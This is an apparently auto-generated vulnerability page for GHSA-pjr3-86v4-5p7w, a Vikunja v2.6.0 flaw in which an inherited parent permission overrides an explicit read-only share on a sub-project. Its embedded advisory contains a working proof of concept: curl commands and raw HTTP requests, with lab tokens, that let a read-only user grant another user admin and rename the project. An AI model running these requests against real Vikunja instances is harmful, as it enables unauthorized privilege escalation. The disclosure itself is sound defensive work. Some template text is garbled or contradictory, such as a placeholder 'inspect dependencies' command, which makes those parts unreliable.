GHSA-pjr3-86v4-5p7w: Vikunja Explicit Lower-permission Share On A Vulnerability
MODERATEGHSA-pjr3-86v4-5p7w is a MODERATE (CVSS 5.4) explicit lower-permission share on a vulnerability (CWE-284: Improper Access Control) affecting Vikunja libraries in the Go ecosystem. The issue involves explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0). Remediation is available in the latest vendor maintenance releases.
GHSA-pjr3-86v4-5p7w at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).
How to Fix GHSA-pjr3-86v4-5p7w
To remediate this vulnerability, upgrade all affected Vikunja dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade code.vikunja.io/api to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.vikunja.io/api
How to Check if You Are Affected
To determine whether your application is affected by GHSA-pjr3-86v4-5p7w, inspect your project dependencies for Vikunja:
inspect dependencies for code.vikunja.io/api
Analyze the terminal output to locate any version of Vikunja in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Vikunja, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-pjr3-86v4-5p7w Affected Vikunja Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.vikunja.io/api
|
Go |
2.6.0
All 1 versions
2.6.0
|
None specified
|
References
Frequently Asked Questions
What is GHSA-pjr3-86v4-5p7w?
Which Vikunja versions are affected?
What version fixes GHSA-pjr3-86v4-5p7w?
Is code.vikunja.io/api affected?
What is the CVSS score of GHSA-pjr3-86v4-5p7w?
What CWE is associated with GHSA-pjr3-86v4-5p7w?
How can I check Go dependencies for GHSA-pjr3-86v4-5p7w?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pjr3-86v4-5p7w",
"modified" : "2026-10-09T20:57:44Z",
"published" : "2026-10-09T20:57:44Z",
"aliases" : [ ],
"summary" : "Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)",
"details" : "## Description\n\n### Summary\n\nIn Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as\nthe **MAX over the entire reachable project subtree**. As a result, when a user has been granted a\n**higher** permission on a parent project and the owner *explicitly* shares a **child** project with\nthat same user at a **lower** permission (an intended down-restriction), the explicit lower grant is\n**silently ignored** and the user receives the higher, inherited permission on the child. A user\nwho was deliberately restricted to **read-only** on a sensitive sub-project can therefore modify it,\ndelete it, and re-share it (including granting other users admin) - none of which the owner intended.\nThis is a behavior regression from v2.5.0, whose engine used \"nearest-ancestor-grant-wins\" semantics\nthat honored the explicit child grant.\n\n### Details\n\nEffective permissions are computed by a single recursive CTE in\n`pkg/models/project_access.go` (`getProjectAccessForUser`):\n\n```sql\nWITH RECURSIVE grants (project_id, permission) AS (\n SELECT project_id, MAX(permission) FROM (\n SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?\n UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?\n UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp\n INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?\n ) direct_grants GROUP BY project_id\n),\ntree (id, permission) AS (\n SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id\n UNION\n SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id\n)\nSELECT id, MAX(permission) AS permission FROM tree GROUP BY id\n```\n\nFor a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with\n`parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows\n`(P,2)`, `(C,0)` (direct grants) **and** `(C,2)` (the parent grant propagated down the recursion). The\nfinal `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The\nexplicit READ grant on `C` is discarded.\n\nIn v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor\nwins), so the child's own direct grant took precedence and the down-restriction was honored. The switch\nto `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the\nadditive behavior as intentional (\"a grant on a descendant can raise an inherited permission, never\nlower it\"), so the maintainers may consider this working-as-intended - but it is a security-relevant\nregression that silently defeats an explicit, owner-configured access restriction, so it is reported\nhere for a decision.\n\n### PoC\n\nTarget: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice`\n(id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja's v1 REST convention: **`PUT` =\ncreate, `POST` = update**. All values below are the **real, unredacted** values from the run.\n\n#### Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)\n\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \\\n -d '{\"username\":\"admin\",\"password\":\"VikunjaLab123!\"}'\ncurl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \\\n -d '{\"username\":\"alice\",\"password\":\"AliceLab123!\"}'\n```\n\nReal tokens issued:\n```\nadmin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg\nalice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\n```\n\n#### Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)\n\n```bash\n# parent (id 18)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer <admin-token>' -d '{\"title\":\"FinanceRoot\"}'\n# child of parent 18 (id 19)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer <admin-token>' -d '{\"title\":\"Q4-Payroll-CONFIDENTIAL\",\"parent_project_id\":18}'\n# standalone control (id 20)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer <admin-token>' -d '{\"title\":\"ControlStandalone\"}'\n```\nResult: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`.\n\n#### Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)\n\n```bash\ncurl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer <admin-token>' -d '{\"username\":\"alice\",\"permission\":2}' # -> 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer <admin-token>' -d '{\"username\":\"alice\",\"permission\":0}' # -> 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer <admin-token>' -d '{\"username\":\"alice\",\"permission\":0}' # -> 201\n```\n\nConfirm the recorded child grant is READ(0):\n```bash\ncurl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer <admin-token>'\n# -> [{\"id\":..,\"username\":\"alice\",\"permission\":0, ...}] (0 = Read only)\n```\n\n#### Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \\\n -d '{\"username\":\"bob\",\"permission\":2}'\n```\n\n**Burp / raw HTTP request**\n\n```http\nPUT /api/v1/projects/19/users HTTP/1.1\nHost: localhost:3456\nUser-Agent: curl/8.20.0\nAccept: */*\nContent-Type: application/json\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\nContent-Length: 33\n\n{\"username\":\"bob\",\"permission\":2}\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 201 Created\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 128\n\n{\"id\":12,\"username\":\"bob\",\"permission\":2,\"created\":\"2026-09-07T17:39:34.158776607Z\",\"updated\":\"2026-09-07T17:39:34.158778081Z\"}\n```\n\nalice - restricted to READ on project 19 - successfully granted **bob ADMIN(2)** on it (a share-management\noperation that requires project admin). She can equally modify it:\n\n```bash\n# write op (POST = update); succeeds -> HTTP 200\ncurl -s -o /dev/null -w '%{http_code}\\n' -X POST http://localhost:3456/api/v1/projects/19 \\\n -H 'Content-Type: application/json' -H 'Authorization: Bearer <alice-token>' \\\n -d '{\"title\":\"Q4-Payroll-TAMPERED-BY-ALICE\"}'\n# -> 200\n```\n\n#### Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer <alice-token>' -d '{\"username\":\"bob\",\"permission\":0}'\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 403 Forbidden\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 33\n\n{\"code\":0,\"message\":\"Forbidden\"}\n```\n\nThe single-variable differential: alice's identical READ(0) grant denies the admin operation on a\nstandalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is\nsilently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the\ninherited-permission override, not to alice's explicit grant.\n\n### Impact\n\nThis is a **broken access control / improper privilege management** issue (CWE-269). A project owner who\ngrants a collaborator a high permission on a parent project and then explicitly shares a sensitive\nsub-project with that collaborator at a **lower** permission (e.g. read-only) does **not** get the\nrestriction they configured: the collaborator silently retains the higher inherited permission on the\nsub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:\ngranting `bob` ADMIN on the read-restricted child). This defeats an explicit, security-relevant\nconfiguration and can expose or allow tampering with data on sub-projects that were meant to be\nrestricted. It is a regression from v2.6.0's predecessor, which honored the nearest (child) grant. The\nprerequisite is that the attacker already holds a higher permission on an ancestor project; the security\nloss is specifically the inability to enforce a narrower permission on a descendant.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.vikunja.io/api"
},
"versions" : [ "2.6.0" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-pjr3-86v4-5p7w"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-vikunja/vikunja"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-269", "CWE-284" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-09T20:57:44Z",
"nvd_published_at" : null
}
}